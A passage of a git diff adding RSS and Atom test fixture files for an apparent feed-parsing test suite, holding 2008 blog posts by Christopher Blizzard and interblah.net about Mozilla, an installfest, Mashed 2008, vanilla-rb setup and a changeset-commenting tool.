+I did an <a href="http://www.linux.com/feature/126952">interview a little while ago with Tina Gasperson</a> and it&#8217;s up on linux.com.  I spent some time talking about building success with a product instead of a project plan in open source, Mozilla&#8217;s revenue model, Mozilla&#8217;s commitment to transparency and some technology stuff - XULRunner in particular, and what it means for people who want to build something quickly that&#8217;s cross platform and leverages web development skills and technologies.
+</p>
+<p>
+I also like the message that Tina pulled out of our interview for a title - that we are advocating on behalf of our users.  Firefox as a product has become more than just a great browser.  It&#8217;s become a great platform for Mozilla as an organization to do things on behalf of people who use our products, and even for people who use other products.  (What we do influences other products all the time - it&#8217;s pretty neat to be dragging the web forward indirectly as well as directly.)  I have started to think of this kind of experience as &#8220;tangible empathy.&#8221;  We see things that can be improved and we create that change.  For vast swaths of people all at once.
+</p>
+<p>
+Anyway, it&#8217;s a decent interview.  I like how it came out.
+</p>
+]]></content:encoded>
+                       <wfw:commentRss>http://www.0xdeadbeef.com/weblog/?feed=rss2&amp;p=337</wfw:commentRss>
+               </item>
+       </channel>
+</rss>
diff --git a/tests/twisted/local/data/beef-no-ids-2.rss2 b/tests/twisted/local/data/beef-no-ids-2.rss2
new file mode 100644 (file)
index 0000000..c895a3e
--- /dev/null
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- generator="wordpress/2.0.5" -->
+<rss version="2.0" 
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       >
+
+<channel>
+       <title>Christopher Blizzard</title>
+       <link>http://www.0xdeadbeef.com/weblog</link>
+       <description>I love you.</description>
+       <pubDate>Wed, 27 Feb 2008 15:10:03 +0000</pubDate>
+       <generator>http://wordpress.org/?v=2.0.5</generator>
+       <language>en</language>
+               <item>
+               <title>the word of the day is &#8216;jackassery&#8217;</title>
+               <link>http://www.0xdeadbeef.com/weblog/?p=338</link>
+               <comments>http://www.0xdeadbeef.com/weblog/?p=338#comments</comments>
+               <pubDate>Wed, 27 Feb 2008 02:34:26 +0000</pubDate>
+               <dc:creator>blizzard</dc:creator>
+               
+               <category>Freedom</category>
+
+               <category>Open Web</category>
+
+               <category>Comcast</category>
+
+               <category>Jackassery</category>
+
+               <description><![CDATA[
+I&#8217;m glad I&#8217;m not a comcast customer.  Because, come on.
+
+]]></description>
+                       <content:encoded><![CDATA[<p>
+I&#8217;m glad I&#8217;m not a comcast customer.  Because, <a href="http://www.getmiro.com/blog/2008/02/comcast-secretly-pays-people-to-fill-seats-at-fcc-hearing/">come on</a>.
+</p>
+]]></content:encoded>
+                       <wfw:commentRss>http://www.0xdeadbeef.com/weblog/?feed=rss2&amp;p=338</wfw:commentRss>
+               </item>
+               <item>
+               <title>interview on linux.com</title>
+               <link>http://www.0xdeadbeef.com/weblog/?p=337</link>
+               <comments>http://www.0xdeadbeef.com/weblog/?p=337#comments</comments>
+               <pubDate>Tue, 26 Feb 2008 17:17:10 +0000</pubDate>
+               <dc:creator>blizzard</dc:creator>
+               
+               <category>Mozilla</category>
+
+               <category>Design</category>
+
+               <category>Open Web</category>
+
+               <description><![CDATA[
+Yes, this is more shameless self-promotion because it&#8217;s an interview with me.
+
+
+I did an interview a little while ago with Tina Gasperson and it&#8217;s up on linux.com.  I spent some time talking about building success with a product instead of a project plan in open source, Mozilla&#8217;s revenue model, Mozilla&#8217;s commitment to transparency and [...]]]></description>
+                       <content:encoded><![CDATA[<p>
+Yes, this is more shameless self-promotion because it&#8217;s an interview with me.
+</p>
+<p>
+I did an <a href="http://www.linux.com/feature/126952">interview a little while ago with Tina Gasperson</a> and it&#8217;s up on linux.com.  I spent some time talking about building success with a product instead of a project plan in open source, Mozilla&#8217;s revenue model, Mozilla&#8217;s commitment to transparency and some technology stuff - XULRunner in particular, and what it means for people who want to build something quickly that&#8217;s cross platform and leverages web development skills and technologies.
+</p>
+<p>
+I also like the message that Tina pulled out of our interview for a title - that we are advocating on behalf of our users.  Firefox as a product has become more than just a great browser.  It&#8217;s become a great platform for Mozilla as an organization to do things on behalf of people who use our products, and even for people who use other products.  (What we do influences other products all the time - it&#8217;s pretty neat to be dragging the web forward indirectly as well as directly.)  I have started to think of this kind of experience as &#8220;tangible empathy.&#8221;  We see things that can be improved and we create that change.  For vast swaths of people all at once.
+</p>
+<p>
+Anyway, it&#8217;s a decent interview.  I like how it came out.
+</p>
+]]></content:encoded>
+                       <wfw:commentRss>http://www.0xdeadbeef.com/weblog/?feed=rss2&amp;p=337</wfw:commentRss>
+               </item>
+       </channel>
+</rss>
diff --git a/tests/twisted/local/data/beef-no-ids.rss2 b/tests/twisted/local/data/beef-no-ids.rss2
new file mode 100644 (file)
index 0000000..1f20c41
--- /dev/null
@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- generator="wordpress/2.0.5" -->
+<rss version="2.0" 
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       >
+
+<channel>
+       <title>Christopher Blizzard</title>
+       <link>http://www.0xdeadbeef.com/weblog</link>
+       <description>I love you.</description>
+       <pubDate>Wed, 27 Feb 2008 15:10:03 +0000</pubDate>
+       <generator>http://wordpress.org/?v=2.0.5</generator>
+       <language>en</language>
+                       <item>
+               <title>installfest for kids and schools in the bay area this weekend</title>
+               <link>http://www.0xdeadbeef.com/weblog/?p=339</link>
+               <comments>http://www.0xdeadbeef.com/weblog/?p=339#comments</comments>
+               <pubDate>Wed, 27 Feb 2008 15:10:03 +0000</pubDate>
+               <dc:creator>blizzard</dc:creator>
+               
+               <category>Uncategorized</category>
+
+               <description><![CDATA[
+Paul reminded me about this and it sounds like Zak already posted about it.  There&#8217;s going to be an installfest this weekend for kids and schools in the bay area.  If you&#8217;re interested in helping out then sign up.
+
+]]></description>
+                       <content:encoded><![CDATA[<p>
+<a href="http://www.numenity.org/blog/">Paul</a> reminded me about this and it sounds like Zak <a href="http://zak.greant.com/bay-area-techies-help-schools-with-old-hardware-and-free-software/">already posted</a> about it.  There&#8217;s going to be an installfest this weekend for kids and schools in the bay area.  If you&#8217;re interested in helping out then <a href="http://www.untangle.com/installfest">sign up.</a>
+</p>
+]]></content:encoded>
+                       <wfw:commentRss>http://www.0xdeadbeef.com/weblog/?feed=rss2&amp;p=339</wfw:commentRss>
+               </item>
+               <item>
+               <title>the word of the day is &#8216;jackassery&#8217;</title>
+               <link>http://www.0xdeadbeef.com/weblog/?p=338</link>
+               <comments>http://www.0xdeadbeef.com/weblog/?p=338#comments</comments>
+               <pubDate>Wed, 27 Feb 2008 02:34:26 +0000</pubDate>
+               <dc:creator>blizzard</dc:creator>
+               
+               <category>Freedom</category>
+
+               <category>Open Web</category>
+
+               <category>Comcast</category>
+
+               <category>Jackassery</category>
+
+               <description><![CDATA[
+I&#8217;m glad I&#8217;m not a comcast customer.  Because, come on.
+
+]]></description>
+                       <content:encoded><![CDATA[<p>
+I&#8217;m glad I&#8217;m not a comcast customer.  Because, <a href="http://www.getmiro.com/blog/2008/02/comcast-secretly-pays-people-to-fill-seats-at-fcc-hearing/">come on</a>.
+</p>
+]]></content:encoded>
+                       <wfw:commentRss>http://www.0xdeadbeef.com/weblog/?feed=rss2&amp;p=338</wfw:commentRss>
+               </item>
+               <item>
+               <title>interview on linux.com</title>
+               <link>http://www.0xdeadbeef.com/weblog/?p=337</link>
+               <comments>http://www.0xdeadbeef.com/weblog/?p=337#comments</comments>
+               <pubDate>Tue, 26 Feb 2008 17:17:10 +0000</pubDate>
+               <dc:creator>blizzard</dc:creator>
+               
+               <category>Mozilla</category>
+
+               <category>Design</category>
+
+               <category>Open Web</category>
+
+               <description><![CDATA[
+Yes, this is more shameless self-promotion because it&#8217;s an interview with me.  And also this is some updated data so it will trigger a new entry.
+
+
+I did an interview a little while ago with Tina Gasperson and it&#8217;s up on linux.com.  I spent some time talking about building success with a product instead of a project plan in open source, Mozilla&#8217;s revenue model, Mozilla&#8217;s commitment to transparency and [...]]]></description>
+                       <content:encoded><![CDATA[<p>
+Yes, this is more shameless self-promotion because it&#8217;s an interview with me.
+</p>
+<p>
+I did an <a href="http://www.linux.com/feature/126952">interview a little while ago with Tina Gasperson</a> and it&#8217;s up on linux.com.  I spent some time talking about building success with a product instead of a project plan in open source, Mozilla&#8217;s revenue model, Mozilla&#8217;s commitment to transparency and some technology stuff - XULRunner in particular, and what it means for people who want to build something quickly that&#8217;s cross platform and leverages web development skills and technologies.
+</p>
+<p>
+I also like the message that Tina pulled out of our interview for a title - that we are advocating on behalf of our users.  Firefox as a product has become more than just a great browser.  It&#8217;s become a great platform for Mozilla as an organization to do things on behalf of people who use our products, and even for people who use other products.  (What we do influences other products all the time - it&#8217;s pretty neat to be dragging the web forward indirectly as well as directly.)  I have started to think of this kind of experience as &#8220;tangible empathy.&#8221;  We see things that can be improved and we create that change.  For vast swaths of people all at once.
+</p>
+<p>
+Anyway, it&#8217;s a decent interview.  I like how it came out.
+</p>
+]]></content:encoded>
+                       <wfw:commentRss>http://www.0xdeadbeef.com/weblog/?feed=rss2&amp;p=337</wfw:commentRss>
+               </item>
+       </channel>
+</rss>
diff --git a/tests/twisted/local/data/beef.rss2 b/tests/twisted/local/data/beef.rss2
new file mode 100644 (file)
index 0000000..e3c72b4
--- /dev/null
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- generator="wordpress/2.0.5" -->
+<rss version="2.0" 
+       xmlns:content="http://purl.org/rss/1.0/modules/content/"
+       xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+       xmlns:dc="http://purl.org/dc/elements/1.1/"
+       >
+
+<channel>
+       <title>Christopher Blizzard</title>
+       <link>http://www.0xdeadbeef.com/weblog</link>
+       <description>I love you.</description>
+       <pubDate>Wed, 27 Feb 2008 15:10:03 +0000</pubDate>
+       <generator>http://wordpress.org/?v=2.0.5</generator>
+       <language>en</language>
+                       <item>
+               <title>installfest for kids and schools in the bay area this weekend</title>
+               <link>http://www.0xdeadbeef.com/weblog/?p=339</link>
+               <comments>http://www.0xdeadbeef.com/weblog/?p=339#comments</comments>
+               <pubDate>Wed, 27 Feb 2008 15:10:03 +0000</pubDate>
+               <dc:creator>blizzard</dc:creator>
+               
+               <category>Uncategorized</category>
+
+               <guid isPermaLink="false">http://www.0xdeadbeef.com/weblog/?p=339</guid>
+               <description><![CDATA[
+Paul reminded me about this and it sounds like Zak already posted about it.  There&#8217;s going to be an installfest this weekend for kids and schools in the bay area.  If you&#8217;re interested in helping out then sign up.
+
+]]></description>
+                       <content:encoded><![CDATA[<p>
+<a href="http://www.numenity.org/blog/">Paul</a> reminded me about this and it sounds like Zak <a href="http://zak.greant.com/bay-area-techies-help-schools-with-old-hardware-and-free-software/">already posted</a> about it.  There&#8217;s going to be an installfest this weekend for kids and schools in the bay area.  If you&#8217;re interested in helping out then <a href="http://www.untangle.com/installfest">sign up.</a>
+</p>
+]]></content:encoded>
+                       <wfw:commentRss>http://www.0xdeadbeef.com/weblog/?feed=rss2&amp;p=339</wfw:commentRss>
+               </item>
+               <item>
+               <title>the word of the day is &#8216;jackassery&#8217;</title>
+               <link>http://www.0xdeadbeef.com/weblog/?p=338</link>
+               <comments>http://www.0xdeadbeef.com/weblog/?p=338#comments</comments>
+               <pubDate>Wed, 27 Feb 2008 02:34:26 +0000</pubDate>
+               <dc:creator>blizzard</dc:creator>
+               
+               <category>Freedom</category>
+
+               <category>Open Web</category>
+
+               <category>Comcast</category>
+
+               <category>Jackassery</category>
+
+               <guid isPermaLink="false">http://www.0xdeadbeef.com/weblog/?p=338</guid>
+               <description><![CDATA[
+I&#8217;m glad I&#8217;m not a comcast customer.  Because, come on.
+
+]]></description>
+                       <content:encoded><![CDATA[<p>
+I&#8217;m glad I&#8217;m not a comcast customer.  Because, <a href="http://www.getmiro.com/blog/2008/02/comcast-secretly-pays-people-to-fill-seats-at-fcc-hearing/">come on</a>.
+</p>
+]]></content:encoded>
+                       <wfw:commentRss>http://www.0xdeadbeef.com/weblog/?feed=rss2&amp;p=338</wfw:commentRss>
+               </item>
+               <item>
+               <title>interview on linux.com</title>
+               <link>http://www.0xdeadbeef.com/weblog/?p=337</link>
+               <comments>http://www.0xdeadbeef.com/weblog/?p=337#comments</comments>
+               <pubDate>Tue, 26 Feb 2008 17:17:10 +0000</pubDate>
+               <dc:creator>blizzard</dc:creator>
+               
+               <category>Mozilla</category>
+
+               <category>Design</category>
+
+               <category>Open Web</category>
+
+               <guid isPermaLink="false">http://www.0xdeadbeef.com/weblog/?p=337</guid>
+               <description><![CDATA[
+Yes, this is more shameless self-promotion because it&#8217;s an interview with me.
+
+
+I did an interview a little while ago with Tina Gasperson and it&#8217;s up on linux.com.  I spent some time talking about building success with a product instead of a project plan in open source, Mozilla&#8217;s revenue model, Mozilla&#8217;s commitment to transparency and [...]]]></description>
+                       <content:encoded><![CDATA[<p>
+Yes, this is more shameless self-promotion because it&#8217;s an interview with me.
+</p>
+<p>
+I did an <a href="http://www.linux.com/feature/126952">interview a little while ago with Tina Gasperson</a> and it&#8217;s up on linux.com.  I spent some time talking about building success with a product instead of a project plan in open source, Mozilla&#8217;s revenue model, Mozilla&#8217;s commitment to transparency and some technology stuff - XULRunner in particular, and what it means for people who want to build something quickly that&#8217;s cross platform and leverages web development skills and technologies.
+</p>
+<p>
+I also like the message that Tina pulled out of our interview for a title - that we are advocating on behalf of our users.  Firefox as a product has become more than just a great browser.  It&#8217;s become a great platform for Mozilla as an organization to do things on behalf of people who use our products, and even for people who use other products.  (What we do influences other products all the time - it&#8217;s pretty neat to be dragging the web forward indirectly as well as directly.)  I have started to think of this kind of experience as &#8220;tangible empathy.&#8221;  We see things that can be improved and we create that change.  For vast swaths of people all at once.
+</p>
+<p>
+Anyway, it&#8217;s a decent interview.  I like how it came out.
+</p>
+]]></content:encoded>
+                       <wfw:commentRss>http://www.0xdeadbeef.com/weblog/?feed=rss2&amp;p=337</wfw:commentRss>
+               </item>
+       </channel>
+</rss>
diff --git a/tests/twisted/local/data/no-link.atom b/tests/twisted/local/data/no-link.atom
new file mode 100644 (file)
index 0000000..4216986
--- /dev/null
@@ -0,0 +1,284 @@
+<?xml version="1.0"?>
+<feed xmlns="http://www.w3.org/2005/Atom">
+  <id>tag:interblah.net,2008-06-01:kind/blog</id>
+  <title>interblah.net - blog</title>
+  <updated>2008-06-01T13:37:19+00:00</updated>
+  <entry>
+    <title>mashed-2008</title>
+    <id>tag:interblah.net,2008-06-22:/mashed-2008</id>
+    <updated>2008-06-25T09:23:12+00:00</updated>
+    <published>2008-06-22T14:37:57+00:00</published>
+    <link href="http://interblah.net/mashed-2008"/>
+    <author>
+      <name>james</name>
+    </author>
+    <content type="html">&lt;h1&gt;Mashed 2008&lt;/h1&gt;
+
+&lt;p&gt;Well, I'm just back from &lt;a href="http://mashed08.backnetwork.com/"&gt;Mashed 2008&lt;/a&gt;, but before my brain shuts down due to lack of sleep (thanks, people playing RockBand all night, you are &lt;em&gt;awesome&lt;/em&gt;), I just wanted to post a video of our (prize-winning!) hack.&lt;/p&gt;
+
+&lt;p&gt;We took some of the (somewhat odd) XML subtitle feeds that the BBC generate, and extracted interesting words at specific points in time. We then hooked this up to some flash (originally developed by &lt;a href="http://ten4design.co.uk/"&gt;TEN4 Design&lt;/a&gt;), stolen from &lt;a href="http://dylan.sonybmgmusic.co.uk/create"&gt;Sony BMG&lt;/a&gt;, and quite thoroughly hacked, presenting it alongside content from the BBC Redux corresponding to the subtitles, to produce this. &lt;/p&gt;
+
+&lt;p&gt;I like to call it &lt;em&gt;Subterranean Homesick News&lt;/em&gt;:&lt;/p&gt;
+
+&lt;p&gt;&lt;object width="400" height="300"&gt;   &lt;param name="allowfullscreen" value="true" /&gt;   &lt;param name="allowscriptaccess" value="always" /&gt;   &lt;param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=1214166&amp;amp;server=www.vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" /&gt;   &lt;embed src="http://www.vimeo.com/moogaloop.swf?clip_id=1214166&amp;amp;server=www.vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;strike&gt;I'll post a link to the full video once it's ready&lt;/strike&gt; &lt;a href="http://vimeo.com/1214367"&gt;Here's the longer video&lt;/a&gt; - I particularlly like the Hissy fit. I think there are some great moments in it (as well, as some not so great bits, but that's what you get after 24 hours of sleepless hackery).&lt;/p&gt;
+
+&lt;p&gt;Anyway, I hope you enjoy it.&lt;/p&gt;
+
+&lt;h2&gt;Behind the Scenes&lt;/h2&gt;
+
+&lt;p&gt;The hack involves some Ruby, some Javascript, some Flash, and some magic. The animated Bob Dylan isn't pre-rendered with the subtitles - that's all live thanks to &lt;a href="http://www.techbelly.com"&gt;Ben Griffiths&lt;/a&gt; flash deconstruction skills (learned on the spot, no less). The interesting terms are the result of a collaboration between myself and &lt;a href="http://jamesandre.ws"&gt;James Andrews&lt;/a&gt; (although whereever you see good words, it's his work - all the not-so-good words are my fault).&lt;/p&gt;
+
+&lt;p&gt;Anyway - great fun. I'll amend this post with the timestamps of some of my favourite moments in the movie. (#mashed tag for robotic things.)&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://interblah.net/mashed-2008"&gt;1 comments for mashed-2008&lt;/a&gt;&lt;/p&gt;</content>
+  </entry>
+  <entry>
+    <title>more-vanilla-tweaks</title>
+    <id>tag:interblah.net,2008-06-04:/more-vanilla-tweaks</id>
+    <updated>2008-06-04T22:46:14+00:00</updated>
+    <published>2008-06-04T22:46:14+00:00</published>
+    <link href="http://interblah.net/more-vanilla-tweaks"/>
+    <author>
+      <name>james</name>
+    </author>
+    <content type="html">&lt;h1&gt;More Vanilla Tweaks&lt;/h1&gt;
+
+&lt;p&gt;So thanks for your patience thus far. My grand &lt;a href="http://interblah.net/vanilla"&gt;vanilla&lt;/a&gt; experiment is going relatively well. Lessons learned so far:&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Links in atom feeds need to be absolute, not relative;&lt;/li&gt;
+&lt;li&gt;Folks like to post empty comments.&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;I've updated some of the documentation so &lt;a href="http://github.com/lazyatom/vanilla-rb/tree/master/README"&gt;it should be a bit clearer&lt;/a&gt; how you can play with your own &lt;a href="http://interblah.net/vanilla-rb"&gt;vanilla-rb&lt;/a&gt; clones:&lt;/p&gt;
+
+&lt;pre&gt;&lt;code&gt;$ gem install gem install soup sqlite3-ruby rack ratom RedCloth BlueCloth
+$ git clone git://github.com/lazyatom/vanilla-rb.git
+$ cd vanilla-rb
+$ rake setup
+$ rackup lib/vanilla.ru
+&lt;/code&gt;&lt;/pre&gt;
+
+&lt;p&gt;Let me know how it goes...&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://interblah.net/more-vanilla-tweaks"&gt;2 comments for more-vanilla-tweaks&lt;/a&gt;&lt;/p&gt;</content>
+  </entry>
+  <entry>
+    <title>comments-are-alive</title>
+    <id>tag:interblah.net,2008-06-03:/comments-are-alive</id>
+    <updated>2008-06-03T22:43:52+00:00</updated>
+    <published>2008-06-03T22:40:30+00:00</published>
+    <link href="http://interblah.net/comments-are-alive"/>
+    <author>
+      <name>james</name>
+    </author>
+    <content type="html">&lt;h1&gt;Comments Are Alive!&lt;/h1&gt;
+
+&lt;p&gt;I just pushed a first attempt at a super simple commenting dyna - you can see it in operation on this (&lt;a href="http://interblah.net/comments-are-alive.raw"&gt;view raw&lt;/a&gt;) and the previous blog post. It operates very simply, is almost certainly ripe for abuse and spamming, but lets walk before we run, yeah?&lt;/p&gt;
+
+&lt;p&gt;Next up, some proper instructions about how to get vanilla running.&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://interblah.net/comments-are-alive"&gt;54 comments for comments-are-alive&lt;/a&gt;&lt;/p&gt;</content>
+  </entry>
+  <entry>
+    <title>already-we-have-vanilla-goodness</title>
+    <id>tag:interblah.net,2008-06-02:/already-we-have-vanilla-goodness</id>
+    <updated>2008-06-03T22:36:45+00:00</updated>
+    <published>2008-06-02T00:39:27+00:00</published>
+    <link href="http://interblah.net/already-we-have-vanilla-goodness"/>
+    <author>
+      <name>james</name>
+    </author>
+    <content type="html">&lt;h1&gt;Already, We Have Vanilla Goodness&lt;/h1&gt;
+
+
+       &lt;p&gt;After some furious bugfixing (thanks to the strictness of Firefox 3 for chastising me!), things are running quite smoothly here. I&amp;#8217;ve written the starts of a conceptual &lt;a href="http://interblah.net/vanilla-rb-tutorial"&gt;vanilla-rb-tutorial&lt;/a&gt;, please do check that out.&lt;/p&gt;
+
+
+       &lt;p&gt;I also limited the number of blog posts&lt;sup&gt;&lt;a href="#fn1"&gt;1&lt;/a&gt;&lt;/sup&gt; that appear on the home page to 3, and added a link to the full blog that shows the most recent 10. Making this change with vanilla was utterly trivial &amp;#8211; the &lt;a href="http://interblah.net/start"&gt;start&lt;/a&gt; snip originally included the &lt;a href="http://interblah.net/blog"&gt;blog&lt;/a&gt; snip directly, but rather than do that, I can just use the underlying &lt;code&gt;kind&lt;/code&gt; dynasnip to grab the 3 most recent &lt;code&gt;blog&lt;/code&gt; snips and display them in place.&lt;/p&gt;
+
+
+       &lt;p&gt;I really love how flexible vanilla makes the content it stores. I&amp;#8217;m looking forward to playing around more!&lt;/p&gt;
+
+
+       &lt;p id="fn1"&gt;&lt;sup&gt;1&lt;/sup&gt; Oh, and just because I can, this blog post was written using textile, whereas the others use Markdown. All on the same page, naturally. Add &lt;code&gt;.raw&lt;/code&gt; to the url for this post to see!&lt;/p&gt;
+
+
+       &lt;p&gt;&lt;a href="http://interblah.net/already-we-have-vanilla-goodness"&gt;4 comments for already-we-have-vanilla-goodness&lt;/a&gt;&lt;/p&gt;</content>
+  </entry>
+  <entry>
+    <title>interblah-is-now-vanilla-flavoured</title>
+    <id>tag:interblah.net,2008-06-01:/interblah-is-now-vanilla-flavoured</id>
+    <updated>2008-06-02T00:34:34+00:00</updated>
+    <published>2008-06-01T11:39:29+00:00</published>
+    <link href="http://interblah.net/interblah-is-now-vanilla-flavoured"/>
+    <author>
+      <name>interblah.net</name>
+    </author>
+    <content type="html">&lt;h1&gt;Welcome to Vanilla&lt;/h1&gt;
+
+&lt;p&gt;Yes, it looks different here, doesn't it. That's because I've flipped the switch, loosed the reins, unharnessed the wild boar and turned on &lt;a href="http://interblah.net/vanilla-rb"&gt;Vanilla.rb&lt;/a&gt;. Here's my work-in-progress tutorial: &lt;a href="http://interblah.net/vanilla-rb-tutorial"&gt;vanilla-rb-tutorial&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;It's going to be a bit broken around here for a while, but the idea there is to motivate me to fix things. You won't be able to log in (since you can't register), which means no creating or editing snips for you lot at the moment. You can, however, see what the raw contents of the snips are - just add .raw to the end of pretty much any URL&lt;/p&gt;
+
+&lt;p&gt;You can, of course, download vanilla an play about with it locally; the current authentication scheme is trival when you've access to the filesystem.&lt;/p&gt;
+
+&lt;p&gt;Some notable things that I need to consider in more detail:&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Feeds - an atom one is available at the moment, but it's implementation is pretty crufty&lt;/li&gt;
+&lt;li&gt;Commenting - (&lt;a href="http://lazyatom.lighthouseapp.com/projects/11797-vanilla/tickets/5"&gt;Ticket 5&lt;/a&gt;)&lt;/li&gt;
+&lt;li&gt;Better internal parsing (&lt;a href="http://lazyatom.lighthouseapp.com/projects/11797-vanilla/tickets/8"&gt;Ticket 8&lt;/a&gt;)&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://lazyatom.lighthouseapp.com/projects/11797-vanilla/tickets"&gt;Muchos other stuff&lt;/a&gt;, including documentation about how other folks can use vanilla!&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;So - here we go!&lt;/p&gt;</content>
+  </entry>
+  <entry>
+    <title>backchat</title>
+    <id>tag:interblah.net,2008-05-03:/backchat</id>
+    <updated>2008-05-08T20:31:15+00:00</updated>
+    <published>2008-05-03T15:20:00+00:00</published>
+    <link href="http://interblah.net/backchat"/>
+    <author>
+      <name>interblah.net</name>
+    </author>
+    <content type="html">&lt;h1&gt;Backchat&lt;/h1&gt;
+
+&lt;p&gt;Much as I love &lt;a href="http://github.com/lazyatom"&gt;github&lt;/a&gt;, it's unlikely that we're going to switch to git at &lt;a href="http://www.reevoo.com"&gt;Reevoo&lt;/a&gt; in the near future. We use subversion and trac to manage our development - a typical combination, I've no doubt.&lt;/p&gt;
+
+&lt;p&gt;One thing we miss - that github really does well - is the ability to comment on changesets. You can see an example from the engines plugin &lt;a href="http://github.com/lazyatom/engines/commit/f7656144b71685c06cfc04dbf41825358646b466"&gt;here&lt;/a&gt;. It's really useful to be able to discuss a change in the application directly next to the representation of that change.&lt;/p&gt;
+
+&lt;p&gt;Alas, trac doesn't have this feature (or at least it's not installed or activated as default, and I couldn't find anything on &lt;a href="http://trac-hacks.org/browser"&gt;trac hacks&lt;/a&gt;). So in 30 minutes on a Thursday afternoon, I threw together a simple solution that I thought might be useful for other people (and other projects). &lt;/p&gt;
+
+&lt;p&gt;One file, one hundred lines (and no &lt;a href="http://code.whytheluckystiff.net/camping/browser/trunk/lib/camping.rb"&gt;trickery&lt;/a&gt; to make the file smaller either!), one super-simple app: &lt;a href="http://github.com/lazyatom/backchat"&gt;backchat&lt;/a&gt;.&lt;/p&gt;
+
+&lt;h2&gt;Using Backchat&lt;/h2&gt;
+
+&lt;p&gt;For trac, you just need to edit the changeset.cs template, and add something like the following snippet wherever in the page you want the comments to appear:&lt;/p&gt;
+
+&lt;p&gt;&lt;filter:code lang="html"&gt;&amp;lt;script type="text/javascript" src="http://your-backchat-server/&amp;lt;?cs var:changeset.new_rev ?&amp;gt;.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/filter&gt;&lt;/p&gt;
+
+&lt;p&gt;This will embed a form in the page for entering comments keyed against that changeset. Add "?css=true" to the end of the URL if you want to include my feeble attempts at prettification.&lt;/p&gt;
+
+&lt;p&gt;I suppose in theory you could use backchat to comment against any site, so long as you can extract a valid 'reference' parameter for the current page. Perhaps the reference could just be the URL, and a bookmarklet could insert the form and comments into the page? &lt;/p&gt;
+
+&lt;h2&gt;This sounds familiar...&lt;/h2&gt;
+
+&lt;p&gt;Yup - it's all very much like &lt;a href="http://redhanded.hobix.com/-h/hoodwinkDDayOneForcingTheHostToAttendTheParty.html"&gt;_why's Hoodwink'd&lt;/a&gt;. The big difference is that you own the comments, so nobody can eaves-drop unless they have access to the backchat server; this is what makes it appropriate for commenting on sensitive things like &lt;a href="http://www.reevoo.com"&gt;Reevoo&lt;/a&gt;'s codebase. Retrospectively, I realise that I could've just used the &lt;a href="http://code.whytheluckystiff.net/hoodwinkd/browser"&gt;hoodwink'd codebase&lt;/a&gt;, but then that wouldn't have been as fun.&lt;/p&gt;
+
+&lt;p&gt;Anyway - let me know what you think about it - either here, or on the &lt;a href="http://github.com/lazyatom/backchat"&gt;github project page&lt;/a&gt;. Cheers!&lt;/p&gt;</content>
+  </entry>
+  <entry>
+    <title>lrug-logostrosity</title>
+    <id>tag:interblah.net,2008-04-12:/lrug-logostrosity</id>
+    <updated>2008-05-08T15:11:20+00:00</updated>
+    <published>2008-04-12T14:39:00+00:00</published>
+    <link href="http://interblah.net/lrug-logostrosity"/>
+    <author>
+      <name>interblah.net</name>
+    </author>
+    <content type="html">&lt;h1&gt;LRUG Logostrosity&lt;/h1&gt;
+
+&lt;p&gt;This is a bit of a rambling rant; I may revise it if my own thoughts become clearer, but for the moment I'd like to get it out of my head so I can move on to doing something more productive.&lt;/p&gt;
+
+&lt;p&gt;And so: on the &lt;a href="http://lists.lrug.org/pipermail/chat-lrug.org/2008-April/002271.html"&gt;LRUG mailing list&lt;/a&gt; this week, we've been voting on a logo.&lt;/p&gt;
+
+&lt;p&gt;As I understand it, the backstory is &lt;strike&gt;that we (that's the notional entity that is &lt;a href="http://lrug.org/members-and-friends/"&gt;LRUG&lt;/a&gt;) have been asked to do something for &lt;a href="http://www.londonwebweek.co.uk/"&gt;London Web Week&lt;/a&gt;, and the organisers asked for a logo to put up on their site&lt;/strike&gt; that Skills Matter, the training company that hosts our meetings, &lt;a href="http://lists.lrug.org/pipermail/chat-lrug.org/2008-April/002232.html"&gt;came up with a suggested logo&lt;/a&gt; (see comments). Now we've done without an "official logo" for around three years now, so much that when pressed to produce one for RailsConf in 2006, we got away with &lt;a href="http://interblah.net/2006/9/7/never-let-me-design-a-logo"&gt;this nonsense&lt;/a&gt;. But, since that was a joke and everything, it was deemed that the question of "what *is* the LRUG logo" ought to be answered once and for all.&lt;/p&gt;
+
+&lt;p&gt;&lt;a href="http://lrug.org/what-are-we-going-to-do-about-a-logo/"&gt;Here&lt;/a&gt; are the submissions that made it in before the voting cutoff. And without doing a proper count before the final count (this Monday lunchtime), it seems fairly clear that the majority of LRUG mailing list members are voting for this one:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src="http://assets.lrug.org/images/logos/andrew_mcdonough/elrug.jpg"&gt;&lt;/p&gt;
+
